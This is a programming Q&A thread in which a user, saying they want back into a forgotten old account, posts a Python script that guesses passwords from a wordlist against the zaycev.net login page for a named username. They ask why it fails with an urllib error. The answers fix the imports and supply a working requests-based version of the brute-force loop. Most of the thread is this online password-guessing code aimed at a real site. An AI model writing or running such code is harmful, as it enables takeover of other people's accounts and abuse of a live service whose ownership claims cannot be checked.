AttributeError: module 'urllib' has no attribute 'request'
I want to remember the password from my old account. Regaled a long time ago.I don't remember my email.I decided to choose a password.
#!/usr/bin/python3
import urllib
import urllib.parse
url = "http://zaycev.net/auth/login.php?badCredentials=2"
username = "mokushi"
listaPassword = "list.txt"
pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Неверная почта или логин"
for password in pwd:
print("Trying the pass:", password)
parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
p = urllib.parse.urlencode(parametriDaTestare)
paginaDiAction = urllib.request.urlopen(url, p)
risultato = paginaDiAction.read()
if not(messaggioDiErrore in risultato):
print("Password found:", password)
break
Issued by:
Trying the pass: karakulo
Traceback (most recent call last):
File "find_my_pass.py", line 26, in <module>
paginaDiAction = urllib.request.urlopen(url, p)
AttributeError: module 'urllib' has no attribute 'request'
What is my mistake ?
Use requests
Right?
import urllib.parse
import requests
url = "http://zaycev.net/auth/login.php?badCredentials=2"
username = "mokushi"
listaPassword = "list.txt"
pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Неверная почта или логин"
for password in pwd:
print("Trying the pass:", password)
parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
p = urllib.parse.urlencode(parametriDaTestare)
paginaDiAction = requests.post(url, p)
risultato = paginaDiAction.text
if not(messaggioDiErrore in risultato):
print("Password found:", password)
break
I.e. you will need to import urllib. parse and urllib.request ? When
TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.
I tried it like this:
#!/usr/bin/python3
import urllib.request
import urllib.parse
url = "http://zaycev.net/auth/login.php?badCredentials=2"
username = "mokushi"
listaPassword = "list.txt"
pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Неверная почта или логин"
for password in pwd:
print("Trying the pass:", password)
parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" }
p = urllib.parse.urlencode(parametriDaTestare)
binary = p.encode('utf-8')
paginaDiAction = urllib.request.urlopen(url, binary)
risultato = paginaDiAction.read()
if not(messaggioDiErrore in risultato):
print("Password found:", password)
break
Another error is returned. But str was converted to byte...:
TypeError: a bytes-like object is required, not 'str'
2 answers
>>> import urllib
>>> urllib.request
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: module 'urllib' has no attribute 'request'
module 'urllib' has no attribute 'request'
urllib
this is a Python package. To use the module urllib.request
, it must be imported:
>>> import urllib.request
>>> urllib.request
<module 'urllib.request' from '.../lib/python3.6/urllib/request.py'>
Using requests
Using requests will be easier:
import requests
url = "http://zaycev.net/auth/login.php"
username = "mokushi"
listaPassword = "list.txt"
pwd = []
f = open(listaPassword, "r")
pwd = f.readlines()
f.close()
for i in range(0, len(pwd)):
if pwd[i][len(pwd[i])-1] == '\n':
pwd[i] = pwd[i][0:len(pwd[i])-1]
messaggioDiErrore = "Неверная почта или логин"
for password in pwd:
print("Trying the pass:", password)
parametriDaTestare = { "j_username" : username, "j_password" : password, "login" : "1" , "badCredentials": 2}
paginaDiAction = requests.post(url, params=parametriDaTestare)
risultato = paginaDiAction.text
if not(messaggioDiErrore in risultato):
print("Password found:", password)
break